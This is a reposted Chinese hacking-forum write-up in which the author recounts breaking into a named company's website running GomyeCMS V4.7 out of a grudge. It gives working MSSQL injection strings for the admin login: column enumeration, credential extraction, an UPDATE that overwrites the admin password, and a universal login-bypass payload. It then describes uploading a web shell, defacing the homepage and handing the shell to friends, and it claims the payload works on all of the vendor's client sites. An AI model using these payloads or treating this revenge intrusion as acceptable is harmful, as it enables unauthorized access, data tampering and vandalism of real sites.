发新话题
打印

[转载]GomyeCMS V4.7万能登陆漏洞

[转载]GomyeCMS V4.7万能登陆漏洞

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
作者:Zake 2009/10/18

很久没写技术文章了,一时兴奋了JJ翘起了于是写了如下文章!

程序作者公司网站http://www.gomye.net/

前言:
鄙人学习SQL语言不是很久,如果有哪些语句写的不对了大侠们多多见谅。
事因在成都有一家骗子公司大家可以去百度或者谷歌关键字"廖记棒棒鸡"然后多翻几页就
能看到这个公司的很多新闻,欺骗我表弟的加盟费。于是就想去给他们公司的网站做个
体检域名是www.liaoji.com,打开网站全部是shtml或者asp,可以构想到shtml可能是用
aspx程序生成的,具体是什么程序也不清楚,就到处逛逛了下,发现一个留言板,顺便就
去留言试试我使用javascript来试试跨站,结果很出人意料,发现程序过滤了说是非法
语句提示为aspx,呵呵 这些有点搞头了.net嘛虽然是强类型语言但是也有很多弊病,但是
发现一个奇怪的目录,名字叫GCMS什么也不说访问下这个目录,跳转到后台登陆界面了,
看了下是/GCMS/logno.aspx,程序名字叫GomyeCMS V4.7这个是什么程序?没见过,百度
谷歌都没结果几乎是没收录,这下怎么办?没注入后台也没登陆注入(当初我自己SB没深入的
测试而已),就旁注把,但是发现整个服务器好几个站全部是这个程序,怎么办?好不容易在
旁主站找到一个这个程序的主人,结果手工测试出现问题,最后发现它的程序有个弊病(也是
我问我一个兄弟他告诉我的)这个弊病就是在他的动态链接比如TID=12在这里注入的时候
那么我就TID=12)这样来把前边的合并再来注入,搞来搞去也没得到什么有利用价值的这下
我急了,还是利用它的留言板找到他的后台,在后台登陆抱以侥幸的心里测试下登录注入
天不忘我啊!后台能注入还显错,看看版本号执行 'or @@version=1--SQL版本是2005的
这里我要说明的就是登陆框和搜索框的注入都是字符型的所以要加一个单引号来合并前边的
单引号,因为前段时间看到一个朋友在他的博客发了一篇MSSQL注入就把这个问题说混淆了
导致很多朋友在进行注入的时候往往把数字型的注入当成字符型来注入,字符型是不需要合
并的所以我们不需要加单引号,看了版本号,我当时的思路就是既然我们在后台登陆这里
那么他程序肯定是读取管理表,我们不必要那么麻烦是的去找说明目录备份,先进后台去
看看,后台能拿shell就没必要去麻烦的找目录备份了。大家说对吧!好了不废话开始工作
执行语句1'having 1=1--得到信息“选择列表中的列 'Content_Master.Master_ID' 无效,
因为该列没有包含在聚合函数或 GROUP BY 子句中。”大家可以看到"Content_Master.Master_ID"
having是什么意思我就不说那么详细了,大家去百度或者谷歌下就懂了,这里我们看到的
两个东西前边就是管理表Content_Master,后边那个就是ID了,那么我们继续吧!执行
语句1'group by Master_ID having 1=1--然后爆出第二个字段Master_UserName这个
时候我们再继续爆,爆到我们想要的字段再来爆数据,执行语句1'group by Master_ID,Master_UserName having 1=1--
就这样依次爆出东西直到有我们想要的,最后结果显示Master_UserName,Master_Password
这两个字段是我想要的,那么还废话干什么?直接爆他丫的菊花啊!呵呵,说干就干,
1'or(select top 1 Master_UserName+'|'+Master_Password from Content_Master)>0--
执行这个语句,方便新手学习我顺便讲下这个语句的意思,高手就飘过了,小弟献丑了
or和and是一个意思连接符作用,连接后边的注入语句select是查询top 1是最顶上第一条
Master_UserName+'|'+Master_Password就不用我解释了吧,是字段至于中间的'|'这个是
一个分隔符就是把账号和密码用|分开,方便我们看清楚,不会混淆from来自Content_Master
这个表,我们就可以看到结果了,密码解密不开怎么办?哎,我也没那么多时间和他废话
直接update Content_Master SET Master_Password='这里是简单的MD5 16位加密密码' where Master_UserName='admin'
这个语句就是修改admin的密码是我们想要的密码值,修改完了再读取一下密码,对了修改
过来了,很兴奋拿去登陆,这时候发现麻痹密码正确也不给登陆,我还以为这个账号被禁止了
呢,这个时候怎么办?难道还有其他的账号?不行我得马上测试下呵呵!
1'or(select top 1 Master_UserName+'|'+Master_Password from Content_Master where Master_UserName not in('admin'))>0--
后边我跟了一个条件式,就是账号不是admin的账户,看看还有其他账户没,结果返回空
这下郁闷了,算了先抽只烟,准备等下进行繁重的读目录,我既然能update那么权限就不会
效果DB了,抽完了烟继续玩了,第一步先看什么权限,至少心里有个底,很多人入侵
不会像我这样,到这个地步了才去看是什么权限  呵呵!第一步我就先测试下是不是DB权限
执行1'or (Select IS_MEMBER('db_owner'))=1-- 天啊 地啊 是哪位神仙写的程序啊!
居然这个语句能直接进去后台!密码地方都不需要输入啊!my god现在的程序员啊!我就F了
其实我那会抽了烟去WC打了下灰机!可能是我把晦气给射完了,所以好运气就来了,进去后台
了就不用多想了撒!找到个上传直接一个aspx马跑上去了,服务器权限很大啊!能随便跳
找到目标把主页给他改了,骗了20万还是要黑他20次,最后把shell丢给我那些兄弟们,
让他们上去帮我骂吧!这里我要特别赞赏两位人才第一位 鬼仔 第二位 折羽鸿鹄 好哥们
骂的语言很有味道,我看了心里那个爽啊!就不说了,银色上帝 节奏呵呵 都骂的好!骗子嘛
麻痹就该那样骂!这个文章说是写个漏洞,其实我自言自语了一大篇.最后我还要提一个人 2月30日
我这个兄弟很不错,在SQL语言方面帮助了我不少!!


最后总结下:
测试官方站 http://www.gomye.net/a.asp

1'or (Select IS_MEMBER('db_owner'))=1-- 这个语句是这个程序的万能登陆账号
密码哪里都不需要输入,程序作者公司网站http://www.gomye.net/我在他站上找到
他们的几个成功案例,测试结果是100%中标!  演讲结束  谢谢观赏!
select girl from Guilin where age='18-20' and bg='beautiful'--

TOP

发新话题